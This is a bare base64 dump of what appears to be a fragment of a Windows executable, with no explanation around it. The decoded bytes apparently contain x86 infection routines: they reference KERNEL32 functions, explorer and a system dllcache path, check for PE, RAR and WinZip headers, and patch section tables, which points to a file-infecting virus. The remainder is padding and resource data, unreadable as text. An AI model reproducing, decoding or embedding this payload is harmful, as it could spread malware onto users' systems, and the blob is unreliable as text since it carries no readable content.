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 MzJcZGxsY2FjAF+NdaLoZu7//2HDJMI2AEQqJMIkwnk9sYnUPdt7BEw+LScD9QMnDiWPLKgE m/UqV8cR4qf6ySDRS2DmMKStR1As2z1FAc57awCuk857znuT9nNePoQxEc8sMe47lDGExbu6 aEWjT5DOe897Q86ulTGEJoIjhDEiLXGHKkPG+4sxhCWuJnzOe84OvR68SPx7Me47lDGExbu6 YkWjT5DOe897Q8afizGEQ86ulTGEJsYjhDEawwAAJXMlMDhkAABhOlwAeAAAAAAAAAAAAAAA AQAAAAAAAAAAAAAAAAAAAEqiQAACAAAAAQIECAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAA AAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+ AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAA QH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAA AAAaKkEAGipBAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAA hACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIA ggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAANzS QADM0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAA AAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEA AMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAACgAAAIwAAAD///// AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIAAABI1UAACAAAABzVQAAJAAAA8NRAAAoA AADM1EAAEAAAAKDUQAARAAAAcNRAABIAAABM1EAAEwAAACDUQAAYAAAA6NNAABkAAADA00AA GgAAAIjTQAAbAAAAUNNAABwAAAAo00AAeAAAABjTQAB5AAAACNNAAHoAAAD40kAA/AAAAPTS QAD/AAAA5NJAAAAAAAAAAAAAADtJAAAAAAAAO0kAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAA AAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcA AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAASDEAgHAAAIABAAAAmAAAgAIAAACwAACAAwAAAOABAIAEAAAA qAIAgAUAAADgAgCABgAAAMAEAIAJAAAAKAgAgAwAAABACACADgAAAFgIAIAQAAAA8AgAgPAA AAAICQCAAAAAAAAAAAAEAAAAAAADAOQFAAAwCQCA5QUAAEgJAIDoBQAAYAkAgAAAAAAAAAAA BAAAAAAAAQALAAAAeAkAgAAAAAAAAAAABAAAAAAAJADeBQAAkAkAgN8FAACoCQCA4QUAAMAJ AIDSBwAA2AkAgNQHAADwCQCA5gcAAAgKAIDyBwAAIAoAgP8HAAA4CgCACwgAAFAKAIAqCAAA aAoAgE8IAACACgCAZggAAJgKAIBtCAAAsAoAgHIIAADICgCAdAgAAOAKAICCCAAA+AoAgIUI AAAQCwCAhggAACgLAICHCAAAQAsAgI4IAABYCwCAlAgAAHALAICdCAAAiAsAgKIIAACgCwCA owgAALgLAICtCAAA0AsAgK4IAADoCwCAsggAAAAMAICzCAAAGAwAgLQIAAAwDACAtwgAAEgM AIC4CAAAYAwAgLkIAAB4DACAuggAAJAMAIABCgAAqAwAgKEPAADADACAjBMAANgMAIAAAAAA AAAAAAQAAAAAABcAAQAAAPAMAIACAAAACA0AgAMAAAAgDQCABAAAADgNAIAFAAAAUA0AgAYA AABoDQCABwAAAIANAIAIAAAAmA0AgAkAAACwDQCACgAAAMgNAIAMAAAA4A0AgA0AAAD4DQCA DgAAABAOAIAPAAAAKA4AgBAAAABADgCAEQAAAFgOAIASAAAAcA4AgBMAAACIDgCAFAAAAKAO AIAVAAAAuA4AgBYAAADQDgCAFwAAAOgOAIAYAAAAAA8AgAAAAAAAAAAABAAAAAAABQADCAAA GA8AgNYJAAAwDwCA2AkAAEgPAID/CQAAYA8AgLsLAAB4DwCAAAAAAAAAAAAEAAAAAAA6AOwD AACQDwCA7QMAAKgPAIDvAwAAwA8AgPUDAADYDwCA9gMAAPAPAID3AwAACBAAgP0DAAAgEACA AQQAADgQAIADBAAAUBAAgAQEAABoEACAIgQAAIAQAIAsBAAAmBAAgDcEAACwEACA0QcAAMgQ AIDaBwAA4BAAgOQHAAD4EACA6QcAABARAIDwBwAAKBEAgPQHAABAEQCA9QcAAFgRAID7BwAA cBEAgPwHAACIEQCA/QcAAKARAIAQCAAAuBEAgBIIAADQEQCAFggAAOgRAIAXCAAAABIAgBgI 